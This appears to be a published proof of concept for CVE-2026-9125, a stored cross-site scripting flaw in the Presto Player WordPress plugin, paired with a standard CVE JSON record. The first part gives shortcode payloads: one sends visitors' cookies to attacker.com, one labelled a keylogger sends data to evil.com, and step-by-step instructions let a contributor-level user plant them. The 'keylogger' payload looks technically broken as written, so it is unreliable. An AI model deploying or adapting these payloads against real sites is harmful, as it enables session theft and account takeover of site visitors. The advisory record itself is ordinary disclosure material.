CVE-2026-9125

// Presto Player Stored XSS PoC // Target: Presto Player plugin <= 4.2.0 for WordPress // Attack Vector: [presto_player_overlay] shortcode with malicious link_url // Method 1: Basic XSS via javascript: protocol [presto_player_overlay link_url="javascript:alert(document.domain)" title="Click Me"] // Method 2: Cookie stealing payload [presto_player_overlay link_url="javascript:fetch('https://attacker.com/steal?c='+document.cookie)" title="Watch Video"] // Method 3: Session hijacking with keylogger [presto_player_overlay link_url="javascript:var i=new Image; i.src='https://evil.com/log?k='+event.key" title="Free Download"] // Exploitation steps: // 1. Attacker with contributor+ role creates/edits a post // 2. Inserts the malicious shortcode with javascript: URI // 3. Saves/publishes the post - payload stored in database // 4. Any user visiting the page triggers the XSS when clicking overlay link // Vulnerable code location (Shortcodes.php): // $overlay['link_url'] = $params['link_url']; // No sanitization! // Later rendered by presto-dynamic-overlays.js as: <a href="javascript:...">

{"cve": {"id": "CVE-2026-9125", "sourceIdentifier": "[email protected]", "published": "2026-06-12T02:16:42.373", "lastModified": "2026-06-12T13:13:53.050", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Presto Player plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'link_url' parameter of the [presto_player_overlay] shortcode in versions up to, and including, 4.2.0 This is due to insufficient input sanitization and output escaping in the getOverlays() function, which copies the link_url shortcode attribute directly into the overlay configuration without scheme validation, allowing javascript: URIs to survive and be rendered as the href of a clickable anchor element by the presto-dynamic-overlay-ui web component. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/presto-player/tags/4.1.1/dist/components/collection/components/core/features/presto-dynamic-overlays/component/presto-dynamic-overlays.js#L1", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/presto-player/tags/4.1.1/inc/Services/Shortcodes.php#L464", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/presto-player/tags/4.1.1/inc/Services/Shortcodes.php#L513", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/presto-player/tags/4.1.1/templates/video.php#L16", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/presto-player/tags/4.1.4/dist/components/collection/components/core/features/presto-dynamic-overlays/component/presto-dynamic-overlays.js#L1", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/presto-player/tags/4.1.4/inc/Services/Shortcodes.php#L464", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/presto-player/tags/4.1.4/inc/Services/Shortcodes.php#L513", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/presto-player/tags/4.1.4/templates/video.php#L16", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3553268/presto-player/trunk/inc/Services/Shortcodes.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c87e7f50-f14a-4751-abcb-3a5bdd214889?source=cve", "source": "[email protected]"}]}}